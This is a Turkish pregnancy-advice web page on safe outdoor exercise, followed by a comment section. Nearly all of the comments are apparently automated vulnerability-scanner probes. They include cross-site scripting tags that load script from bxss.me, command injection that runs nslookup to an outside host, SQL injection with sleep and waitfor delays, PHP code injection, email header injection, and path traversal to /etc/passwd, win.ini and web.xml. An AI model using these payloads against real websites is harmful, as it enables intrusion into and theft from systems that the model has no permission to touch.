Kayıt Ol / Giriş Yap

Giriş Yap

Şifremi Unuttum Aktivasyon Kodu

Şifremi Unuttum


< Geri Dön

Aktivasyon Kodu


< Geri Dön

Henüz üye değilsen:

Kayıt Ol
Ana Sayfa

Hamileyim / Spor

AAA

Açık Havada Spor Yapın

Açık Havada Spor Yapın

Her hafta birkaç saatlik egzersiz stresle mücadele etmeniz ve hamilelik boyunca sağlıklı ve enerjik hissetmenize yardımcı olabilir. Siz güçlendikçe, kaslarınız büyüyen bebeğiniz için daha dayanıklı hale gelecektir. Egzersiz hamilelik sırasındaki sırt ağrısı ve bacak kramplarını da önleyebilir veya azaltabilir.
Ayrıca güçlü ve zinde olmanız doğum yaparken de size yardımcı olacaktır.
Fit kalabilmek için spor salonuna gitmek zorunda değilsiniz. Kendi kendinize de zinde kalabilirsiniz. İşte size birkaç öneri:

Yürüyüş

Yürüyüş hamile bir kadın için egzersiz yapmanın en güvenli yoludur. Küçük mesafeli yürüyüşlerle başlayın ve alıştıkça mesafeyi artırın. Yürüyüşe yeni başladıysanız haftada üç defa 20-30 dakikalık aralıklarla yürüyüş yapın. Yürüyüş yapmaya alışkın olan anneler 30-40 dakika yürümeyi hedefleyebilir.

Koşu

Koşuyorsanız vücudunuzu dinleyin ve ne zaman yavaşlayıp durmanız gerektiğine karar verin. Örneğin, karnınızın alt bölgesinde ve kasıklarınızda baskı hissederseniz koşmayı durdurun.

Bisiklete binmek

Hamileliğin ilk birkaç ayında bisiklete binmek en ideal spor olabilir. Yine de kazalar zarar verici olabilir. Bu sebeple egzersiz bisikletlerini deneyin. Böylece herhangi bir yere çarpmaz ve nabzınızı ölçebilirsiniz 

Dans

Dans, egzersiz yapmanın en eğlenceli yollarından biridir ve sosyalleşmek adına da mükemmel bir fırsattır. Her dans çeşidi iyidir ama zıplamadığınızdan ve ani hareketler yapmadığınızdan emin olun.
Evinizin yakınlarında havuz var mı? Su ayaklarınızı yerden keser ve hafif hissetmenizi sağlar. Su aerobiği ve yüzme oldukça güvenlidir. Hamileliğinizin herhangi bir döneminde başlayabilir ve son haftalarında dahi devam edebilirsiniz. 

Çok ağır bir şekilde aerobik yapmadığınız veya yüzmediğinizden emin olun. Nabzınızın dakikada 140 atışın altında olmasını sağlayın ve termal havuz gibi çok sıcak havuzlardan kaçının.


 

Yorumlar

Yorum eklemek için üye girişi yapmanız gerekiyor
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1tPRkzZqQO
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
response.write(9686671*9713459)
28 Şubat 2019
1
28 Şubat 2019
'+response.write(9686671*9713459)+'
28 Şubat 2019
1
28 Şubat 2019
"+response.write(9686671*9713459)+"
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1'"
28 Şubat 2019
\
28 Şubat 2019
1
28 Şubat 2019
@@QsbI3
28 Şubat 2019
JyI=
28 Şubat 2019
28 Şubat 2019
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1'>"></title></style></textarea></noscript></template></script><script/src="//bxss.me/s?u=053319&r=54-75033&h=54-3bc52-2&"></script>
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
m4evg1UW
28 Şubat 2019
set|set&set
28 Şubat 2019
$(nslookup dns.ce.\053319.54-75039.54.3bc52.\1.bxss.me)
28 Şubat 2019
&nslookup dns.ce.\053319.54-75041.54.3bc52.\1.bxss.me&'\"`0&nslookup dns.ce.\053319.54-75041.54.3bc52.\1.bxss.me&`'
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1 bcc:053319.54-75044.54.3bc52.1@bxss.me
28 Şubat 2019
1
28 Şubat 2019
1<esi:include src="http://testasp.vulnweb.com/rpb.png"/>
28 Şubat 2019
to@example.com> bcc:053319.54-75045.54.3bc52.1@bxss.me
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
${9999190+9999667}
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1&n979451=v926824
28 Şubat 2019
12345'"\'\");|]*{ <>
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
'"()
28 Şubat 2019
1
28 Şubat 2019
)
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
!(()&&!|*|*|
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
^(#$!@#$)(()))******
28 Şubat 2019
1
28 Şubat 2019
http://hitVh2yKRKYK4.bxss.me/
28 Şubat 2019
1
28 Şubat 2019
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
28 Şubat 2019
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
28 Şubat 2019
1
28 Şubat 2019
HttP://testasp.vulnweb.com/t/xss.html?%00
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1some_inexistent_file_with_long_name.jpg
28 Şubat 2019
testasp.vulnweb.com/t/xss.html?%00
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
Http://testasp.vulnweb.com/t/fit.txt
28 Şubat 2019
1
28 Şubat 2019
/www.vulnweb.com
28 Şubat 2019
1
28 Şubat 2019
comment
28 Şubat 2019
1
28 Şubat 2019
http://testasp.vulnweb.com/t/fit.txt?.jpg
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
comment
28 Şubat 2019
;print(md5(acunetix_wvs_security_test));
28 Şubat 2019
testasp.vulnweb.com
28 Şubat 2019
1
28 Şubat 2019
'"
28 Şubat 2019
comment/.
28 Şubat 2019
1
28 Şubat 2019
';print(md5(acunetix_wvs_security_test));$a='
28 Şubat 2019
1
28 Şubat 2019
<!--
28 Şubat 2019
1
28 Şubat 2019
";print(md5(acunetix_wvs_security_test));$a="
28 Şubat 2019
1
28 Şubat 2019
1'"()&%<acx><ScRiPt >QpBz(9969)</ScRiPt>
28 Şubat 2019
${@print(md5(acunetix_wvs_security_test))}
28 Şubat 2019
1
28 Şubat 2019
'"()&%<acx><ScRiPt >QpBz(9269)</ScRiPt>
28 Şubat 2019
${@print(md5(acunetix_wvs_security_test))}\
28 Şubat 2019
1
28 Şubat 2019
19475919
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
JJ7E3bsn
28 Şubat 2019
-1 OR 2+608-608-1=0+0+0+1 --
28 Şubat 2019
1
28 Şubat 2019
-1 OR 2+997-997-1=0+0+0+1
28 Şubat 2019
1
28 Şubat 2019
-1' OR 2+889-889-1=0+0+0+1 --
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
-1' OR 2+114-114-1=0+0+0+1 or '2xQi6xm4'='
28 Şubat 2019
1
28 Şubat 2019
-1" OR 2+66-66-1=0+0+0+1 --
28 Şubat 2019
1
28 Şubat 2019
if(now()=sysdate(),sleep(3),0)
28 Şubat 2019
0'XOR(if(now()=sysdate(),sleep(3),0))XOR'Z
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
0"XOR(if(now()=sysdate(),sleep(3),0))XOR"Z
28 Şubat 2019
1
28 Şubat 2019
(select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/
28 Şubat 2019
1
28 Şubat 2019
-1; waitfor delay '0:0:6' --
28 Şubat 2019
1
28 Şubat 2019
-1); waitfor delay '0:0:6' --
28 Şubat 2019
1
28 Şubat 2019
1 waitfor delay '0:0:6' --
28 Şubat 2019
H81GEbI3'; waitfor delay '0:0:9' --
28 Şubat 2019
1
28 Şubat 2019
-1;select pg_sleep(9); --
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
-1);select pg_sleep(3); --
28 Şubat 2019
1
28 Şubat 2019
-1));select pg_sleep(6); --
28 Şubat 2019
1
28 Şubat 2019
5IfTX4Ba';select pg_sleep(9); --
28 Şubat 2019
G3g4gPOJ');select pg_sleep(3); --
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
gEcvEeFI'));select pg_sleep(3); --
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
../../../../../../../../../../etc/passwd
28 Şubat 2019
../../../../../../../../../../../../../../../proc/version
28 Şubat 2019
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
28 Şubat 2019
../../../../../../../../../../etc/passwd.jpg
28 Şubat 2019
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
28 Şubat 2019
/../..//../..//../..//../..//../..//etc/passwd.jpg
28 Şubat 2019
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
28 Şubat 2019
/etc/passwd
28 Şubat 2019
%2fetc%2fpasswd
28 Şubat 2019
/.././.././.././.././.././.././.././../etc/./passwd%00
28 Şubat 2019
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
28 Şubat 2019
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
28 Şubat 2019
..
28 Şubat 2019
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
28 Şubat 2019
file:///etc/passwd
28 Şubat 2019
/\../\../\../\../\../\../\../etc/passwd
28 Şubat 2019
/WEB-INF/web.xml
28 Şubat 2019
../../../../../../../../../../windows/win.ini
28 Şubat 2019
C:\WINDOWS\system32\drivers\etc\hosts
28 Şubat 2019
../../../../../../../../../../windows/win.ini.jpg
28 Şubat 2019
28 Şubat 2019
................windowswin.ini
28 Şubat 2019
..\..\..\..\..\..\..\..\windows\win.ini
28 Şubat 2019
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
28 Şubat 2019
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
28 Şubat 2019
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
28 Şubat 2019
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
28 Şubat 2019
WEB-INF/web.xml
28 Şubat 2019
WEB-INF\web.xml

Diğer Makaleler